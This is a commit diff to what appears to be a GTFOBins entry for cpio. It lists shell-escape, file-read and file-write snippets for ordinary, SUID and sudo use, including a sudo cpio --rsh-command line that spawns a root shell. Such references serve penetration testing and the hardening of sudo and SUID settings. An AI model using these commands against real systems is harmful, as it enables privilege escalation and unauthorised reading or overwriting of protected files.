Simplify and add file-write and shell

This commit is contained in:
Andrea Cardaci 2021-03-07 12:24:02 +01:00 committed by GitHub
parent 6f2c001687
commit d63982dea9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,38 +1,54 @@
---
description: This reads the contents of file or overwrite to or from the subjected place.
functions:
shell:
- code: |
echo '/bin/sh </dev/tty >/dev/tty' >localhost
cpio -o --rsh-command /bin/sh -F localhost:
file-read:
- code: |
LFILE=file_to_read_or_to_save
LFOLDER=folder_location_to_read_or_to_save
touch file.txt
FOLDER=folder_where_file.txt_is_saved
echo $LFILE > /$FOLDER/file.txt
cd /$LFOLDER && cpio -o < /$FOLDER/file.txt
- description: The content of the file is printed to standard output, between the cpio archive format header and footer.
code: |
LFILE=file_to_read
echo "$LFILE" | cpio -o
- description: The whole directory structure is copied to `$TF`.
code: |
LFILE=file_to_read
TF=$(mktemp -d)
echo "$LFILE" | cpio -dp $TF
cat "$TF/$LFILE"
file-write:
- description: Copies `$LFILE` to the `$LDIR` directory.
code: |
LFILE=file_to_write
LDIR=where_to_write
echo DATA >$LFILE
echo $LFILE | cpio -up $LDIR
suid:
- code: |
LFILE=file_to_read_or_to_save
LFOLDER=folder_location_to_read_or_to_save
touch file.txt
FOLDER=folder_where_file.txt_is_saved
echo $LFILE > /$FOLDER/file.txt
cd /$LFOLDER && cpio -o < /$FOLDER/file.txt
# FILE to overwrite
cpio -p /$DFOLDER/ < /$FOLDER/file.txt
- description: The whole directory structure is copied to `$TF`.
code: |
LFILE=file_to_read
TF=$(mktemp -d)
echo "$LFILE" | ./cpio -R $UID -dp $TF
cat "$TF/$LFILE"
- description: Copies `$LFILE` to the `$LDIR` directory.
code: |
LFILE=file_to_write
LDIR=where_to_write
echo DATA >$LFILE
echo $LFILE | ./cpio -R 0:0 -p $LDIR
sudo:
- code: |
LFILE=file_to_read_or_to_save
LFOLDER=folder_location_to_read_or_to_save
touch file.txt
FOLDER=folder_where_file.txt_is_saved
echo $LFILE > /$FOLDER/file.txt
cd /$LFOLDER && cpio -o < /$FOLDER/file.txt
# FILE to overwrite
cpio -p /$DFOLDER/ < /$FOLDER/file.txt
echo '/bin/sh </dev/tty >/dev/tty' >localhost
sudo cpio -o --rsh-command /bin/sh -F localhost:
- description: The whole directory structure is copied to `$TF`.
code: |
LFILE=file_to_read
TF=$(mktemp -d)
echo "$LFILE" | sudo cpio -R $UID -dp $TF
cat "$TF/$LFILE"
- description: Copies `$LFILE` to the `$LDIR` directory.
code: |
LFILE=file_to_write
LDIR=where_to_write
echo DATA >$LFILE
echo $LFILE | sudo cpio -R 0:0 -p $LDIR
---